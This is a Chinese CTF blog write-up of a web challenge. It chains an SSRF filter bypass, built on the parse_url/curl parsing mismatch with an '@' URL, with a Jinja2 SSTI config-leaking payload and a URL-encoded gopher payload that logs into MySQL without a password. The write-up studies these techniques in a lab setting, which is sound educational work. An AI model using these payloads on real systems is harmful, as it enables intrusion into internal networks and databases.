MENU

某CTF交流群入群WEB题

March 25, 2019 • Web,PHP,代码审计

CTF交流群——WEB

源码分析

<?php 
highlight_file(__FILE__);
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 

$url = $_GET['url']; 
if(!empty($url)){ 
    safe_request_url($url); 
} 

?>

流程 获取get传入的url参数 ——> 判断是否为空(不为空进入下一步)——>进入safe_request_url()——>调用check_inner_ip()处理url参数(判断是不是内网ip)——> curl获得的$url

绕过check_inner_ip

https://www.blackhat.com/docs/us-17/thursday/us-17-Tsai-A-New-Era-Of-SSRF-Exploiting-URL-Parser-In-Trending-Programming-Languages.pdf

在orange大佬的pdf中,可以看到不同URL解析器对url的不同解析,利用这种差异可以绕过对内网ip地址的检测

如图 parse_url解析最后一个@后面的地址而curl解析的是第一个@后的地址

Flask SSTI

根据上一步可以构造url为url=http://[email protected]:[email protected]/flag.php

获得一个string(15) "172.11.243.0/24" ip段提示

猜测flag在这个段的某个ip的某个端口上,上burp进行爆破一下

访问获得源码

上面的源码是一个典型的的Flask Jinjia SSTI模板注入,这里过滤了()selfconfig

参考https://www.xmsec.cc/ssti-and-bypass-sandbox-in-jinja2/ 构造出payload

{{url_for.__globals__[%27current_app%27].config}} 获取属性和变量

这里值得一提的是之前在扫80端口的时候意外发现172.11.243.1:80这个ip存在phpmyadmin,再结合这个HINT就尝试了phpmyadmin爆破。一顿操作猛如虎,然而战斗力只有5 在这里钻牛角尖耗了一个多小时,最后问了问郁师傅,郁师傅表示一脸懵逼

SSRF TO RCE IN Mysql

HINT提示是和mysql有关那么再扫描下这个ip段都有哪些ip开放了3306

看到这里想起了之前看过的一篇文章 SSRF TO RCE IN Mysql

https://www.wtfsec.org/5112/ssrf-to-rce-in-mysql/

文章中提到如下内容

MySQL认证过程:

MySQL客户端连接并登录服务器时存在两种情况:需要密码认证以及无需密码认证。当需要密码认证时使用挑战应答模式,服务器先发送salt然后客户端使用salt加密密码然后验证;当无需密码认证时直接发送TCP/IP数据包即可。所以在非交互模式下登录并操作MySQL只能在无需密码认证,未授权情况下进行,本文利用SSRF漏洞攻击MySQL也是在其未授权情况下进行的。

无需密码认证时直接发送TCP/IP数据包,这里可以利用gopher进行mysql认证。

这里可以创建一个无密码的yuligeeee123321用户 然后在登录和执行命令时使用wireshark抓包

找到发送到3396端口的数据包 保存为raw 并将数据整理成一行后进行两次url编码即可

也可以使用github中的开源项目Gopherus 生成

生成后的payload需要在进行一次url编码才可以利用

_%25ae%2500%2500%2501%2585%25a6%25ff%2501%2500%2500%2500%2501%2521%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2500%2579%2575%256c%2569%2567%2565%2565%2565%2565%2531%2532%2533%2533%2532%2531%2500%2500%256d%2579%2573%2571%256c%255f%256e%2561%2574%2569%2576%2565%255f%2570%2561%2573%2573%2577%256f%2572%2564%2500%2566%2503%255f%256f%2573%2505%254c%2569%256e%2575%2578%250c%255f%2563%256c%2569%2565%256e%2574%255f%256e%2561%256d%2565%2508%256c%2569%2562%256d%2579%2573%2571%256c%2504%255f%2570%2569%2564%2505%2532%2537%2532%2535%2535%250f%255f%2563%256c%2569%2565%256e%2574%255f%2576%2565%2572%2573%2569%256f%256e%2506%2535%252e%2537%252e%2532%2532%2509%255f%2570%256c%2561%2574%2566%256f%2572%256d%2506%2578%2538%2536%255f%2536%2534%250c%2570%2572%256f%2567%2572%2561%256d%255f%256e%2561%256d%2565%2505%256d%2579%2573%2571%256c%2510%2500%2500%2500%2503%2573%2568%256f%2577%2520%2564%2561%2574%2561%2562%2561%2573%2565%2573%253b%2501%2500%2500%2500%2501

获得数据库接下来就是获取表查询数据了

Last Modified: August 26, 2020